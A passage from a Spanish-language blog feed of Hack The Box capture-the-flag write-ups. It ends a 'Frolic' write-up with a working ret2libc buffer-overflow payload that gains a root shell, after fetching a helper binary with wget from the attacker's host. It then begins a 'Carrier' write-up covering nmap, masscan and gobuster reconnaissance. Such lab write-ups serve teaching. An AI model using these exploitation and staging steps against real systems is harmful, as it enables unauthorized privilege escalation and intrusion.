</span></span><span style="display:flex;"><span>0xb7e53da0
</span></span></code></pre></div><p>Ahora, ¿cómo demonios encontramos donde esta &ldquo;/bin/sh&rdquo;? Aquí es donde tuve muchas dificultades. Ya que la estrategia tradicional seria insertarlo por una variable, pero no tenia idea de como poder saber donde encontrar en memoria una variable declarada dentro de bash. Afortunadamente encontré el siguiente código en C para exportar la dirección de la variable SHELL:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>p <span style="color:#f92672">=</span> <span style="color:#a6e22e">getenv</span>(<span style="color:#e6db74">&#34;SHELL&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;SHELL is at %p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, p);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Lo primero y obligado, es declarar SHELL o cualquier otra variable con el string &ldquo;/bin/sh&rdquo;. Compilamos el código y generamos un binario para x86:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ cat getSHELLenvvar.c
</span></span><span style="display:flex;"><span>#include &lt;stdio.h&gt;
</span></span><span style="display:flex;"><span>#include &lt;stdlib.h&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>int main(int argc, char **argv)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    char *p = getenv(&#34;SHELL&#34;);
</span></span><span style="display:flex;"><span>    printf(&#34;SHELL is at %p\n&#34;, p);
</span></span><span style="display:flex;"><span>    return 0;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ gcc -m32 -o getSHELLenvvar getSHELLenvvar.c
</span></span></code></pre></div><p>Subimos el binario generado a frolic y lo ejecutamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ cd /dev/shm
</span></span><span style="display:flex;"><span>$ wget http://10.10.12.82:4001/getSHELLenvvar
</span></span><span style="display:flex;"><span>--2019-03-22 10:22:53--  http://10.10.12.82:4001/getSHELLenvvar
</span></span><span style="display:flex;"><span>Connecting to 10.10.12.82:4001... connected.
</span></span><span style="display:flex;"><span>HTTP request sent, awaiting response... 200 OK
</span></span><span style="display:flex;"><span>Length: 15488 (15K) [application/octet-stream]
</span></span><span style="display:flex;"><span>Saving to: &#39;getSHELLenvvar&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>     0K .......... .....                                      100% 75.8K=0.2s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-03-22 10:22:53 (75.8 KB/s) - &#39;getSHELLenvvar&#39; saved [15488/15488]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ chmod u+x getSHELLenvvar
</span></span><span style="display:flex;"><span>$ ./getSHELLenvvar
</span></span><span style="display:flex;"><span>SHELL is at 0xbfffffdb
</span></span></code></pre></div><p>Donde, ahora tenemos la dirección de donde esta el string &ldquo;/bin/sh&rdquo;.</p>
<p>Ahora que tenemos todos los requerimientos construimos el ret2libc y ejecutamos rop con sus argumentos vía python. Recordemos que debido a como el endianess funciona en x86, hay que invertir el orden de los pares de bytes (32bits):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ /home/ayush/.binary/rop $(python -c &#39;print &#34;B&#34;*52 + &#34;\xa0\x3d\xe5\xb7&#34; + &#34;\xd0\x79\xe4\xb7&#34; + &#34;\xbd\xff\xff\xbf&#34;&#39;)
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=0(root) gid=33(www-data) groups=33(www-data)
</span></span><span style="display:flex;"><span>pwd
</span></span><span style="display:flex;"><span>/dev/shm
</span></span></code></pre></div><h1 id="cat-roottxt"><code>cat root.txt</code></h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>cat /root/root.txt
</span></span></code></pre></div><p>&hellip; and we got root flag and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Carrier</title><link>https://www.xbyte.mx/posts/htb_writeup_-_carrier/</link><pubDate>Fri, 15 Mar 2019 18:48:05 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_carrier/</guid><description>&lt;p&gt;Route leaks and hijacks! Con Carrier realice algo que conocía de concepto, pero que nunca había intentado antes.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Route leaks and hijacks! Con Carrier realice algo que conocía de concepto, pero que nunca había intentado antes.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/351d15764c8f183dba633cda9ebead4b_thumb.png" alt="carrier image"> <a href="https://www.hackthebox.eu/home/machines/profile/155">carrier</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/9267">snowscan</a></td>
          <td>Linux</td>
          <td>10.10.10.105</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-carrier/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- --open -n -v 10.10.10.105
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-31 11:21 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 11:21
</span></span><span style="display:flex;"><span>Scanning 10.10.10.105 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 11:21, 0.43s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 11:21
</span></span><span style="display:flex;"><span>Scanning 10.10.10.105 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.105
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.105
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 24.17% done; ETC: 11:24 (0:01:37 remaining)
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 11:23, 112.94s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.105
</span></span><span style="display:flex;"><span>Host is up (0.22s latency).
</span></span><span style="display:flex;"><span>Not shown: 62027 closed ports, 3506 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp open  ssh
</span></span><span style="display:flex;"><span>80/tcp open  http
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 113.54 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 127330 (5.602MB) | Rcvd: 106742 (4.270MB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Corroboremos con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.105
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-12-31 19:25:54 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.105
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.105
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -Pn -sC -sV -p80,22 10.10.10.105 -n -v
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-31 13:35 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 148 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 13:35
</span></span><span style="display:flex;"><span>Completed NSE at 13:35, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 13:35
</span></span><span style="display:flex;"><span>Completed NSE at 13:35, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 13:35
</span></span><span style="display:flex;"><span>Scanning 10.10.10.105 [2 ports]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.105
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.105
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 13:35, 0.43s elapsed (2 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 13:35
</span></span><span style="display:flex;"><span>Scanning 2 services on 10.10.10.105
</span></span><span style="display:flex;"><span>Completed Service scan at 13:35, 6.48s elapsed (2 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.105.
</span></span><span style="display:flex;"><span>Initiating NSE at 13:35
</span></span><span style="display:flex;"><span>Completed NSE at 13:35, 5.45s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 13:35
</span></span><span style="display:flex;"><span>Completed NSE at 13:35, 0.00s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.105
</span></span><span style="display:flex;"><span>Host is up (0.23s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE    VERSION
</span></span><span style="display:flex;"><span>22/tcp open  tcpwrapped
</span></span><span style="display:flex;"><span>80/tcp open  http       Apache httpd 2.4.18 ((Ubuntu))
</span></span><span style="display:flex;"><span>| http-cookie-flags:
</span></span><span style="display:flex;"><span>|   /:
</span></span><span style="display:flex;"><span>|     PHPSESSID:
</span></span><span style="display:flex;"><span>|_      httponly flag not set
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>|_http-title: Login
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 13:35
</span></span><span style="display:flex;"><span>Completed NSE at 13:35, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 13:35
</span></span><span style="display:flex;"><span>Completed NSE at 13:35, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 2 (88B) | Rcvd: 2 (88B)
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p80,22</code> para unicamente los puertos TCP/22 y TCP/80</li>
<li><code>-Pn</code> para que no le envié una prueba de ICMP</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Concluimos que tenemos un puerto HTTP con Apache 2.4.18 sobre Ubuntu (eso dice el banner), que no hizo dirección ni nada raro. El puerto 22 se ve raro como tcpwrapped, pero eso tiene su motivo que veremos después, al menos les confirmo que hay un servidor de SSH detrás.</p>
<h1 id="gobuster">Gobuster</h1>
<p>Vamos a lanzar un amigable gobuster sobre el puerto TCP/80 de carrier:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/tools$ ./gobuster -u 10.10.10.105 -w ~/git/payloads/owasp/dirbuster/directory-list-lowercase-2.3-medium.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.105/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/payloads/owasp/dirbuster/directory-list-lowercase-2.3-medium.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/02 12:10:20 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/index.php (Status: 200)
</span></span><span style="display:flex;"><span>/img (Status: 301)
</span></span><span style="display:flex;"><span>/tools (Status: 301)
</span></span><span style="display:flex;"><span>/doc (Status: 301)
</span></span><span style="display:flex;"><span>/css (Status: 301)
</span></span><span style="display:flex;"><span>/js (Status: 301)
</span></span><span style="display:flex;"><span>/tickets.php (Status: 302)
</span></span><span style="display:flex;"><span>/fonts (Status: 301)
</span></span><span style="display:flex;"><span>/dashboard.php (Status: 302)
</span></span><span style="display:flex;"><span>/debug (Status: 301)
</span></span><span style="display:flex;"><span>/diag.php (Status: 302)
</span></span></code></pre></div><ul>
<li><code>-u 10.10.10.105</code> para indicarle la URL sobre la cual buscara directorios o archivos</li>
<li><code>-w common.txt</code> para el diccionario en el cual se encuentran los archivos mas comunes a buscar</li>
<li><code>-s '200,204,301,302,307,403,500'</code> para aceptar los tipos de Status codes como respuesta valida</li>
<li><code>-x php,txt</code> para no solo buscar carpetas, sino archivos con esa extensión usando el mismo diccionario</li>
<li><code>-t 20</code> para indicar cuantos hilos estaremos usando para buscar</li>
</ul>
<p>Tenemos varias respuestas interesantes, algunos directorios, un archivo index y en general con que investigar que tenemos entre manos.</p>
<h1 id="discovery-over-http">Discovery over HTTP</h1>
<p>Ya que hemos sacado algunas carpetas y archivos, usemos <code>httpie</code> para ver que pasa por aca:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/tools$ http 10.10.10.105/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 602
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Wed, 02 Jan 2019 00:58:36 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=jvbu0mhj4ldsvsjuhirjg6s1n1; path=/
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;X-UA-Compatible&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;IE=edge&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;Login&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/bootstrap.min.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container-fluid&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;row&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-4&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-4&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Lyghtspeed&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;img/logo.png&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;page-header text-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">h4</span>&gt;
</span></span><span style="display:flex;"><span>                                        Please login
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">h4</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;badge badge-danger&#34;</span>&gt;Error 45007&lt;/<span style="color:#f92672">span</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;badge badge-danger&#34;</span>&gt;Error 45009&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>                                                      &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">role</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Username&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                                Username
</span></span><span style="display:flex;"><span>                                        &lt;/<span style="color:#f92672">label</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;username&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Username&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;username&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Password&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                                Password
</span></span><span style="display:flex;"><span>                                        &lt;/<span style="color:#f92672">label</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Password&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn btn-primary&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                                Submit
</span></span><span style="display:flex;"><span>                                        &lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-4&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/jquery.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/bootstrap.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/scripts.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Como podemos observar, tenemos una pantalla de login y unos códigos extraños en la parte superior:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;badge badge-danger&#34;</span>&gt;Error 45007&lt;/<span style="color:#f92672">span</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;badge badge-danger&#34;</span>&gt;Error 45009&lt;/<span style="color:#f92672">span</span>&gt;
</span></span></code></pre></div><p>Tambien y no menos importante una cookie, lo cual nos indica que para la autenticación/sesión estaremos usando cookies.</p>
<p>Revisemos en la carpeta doc que nos pudo encontrar gobuster:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/tools$ http 10.10.10.105/doc/
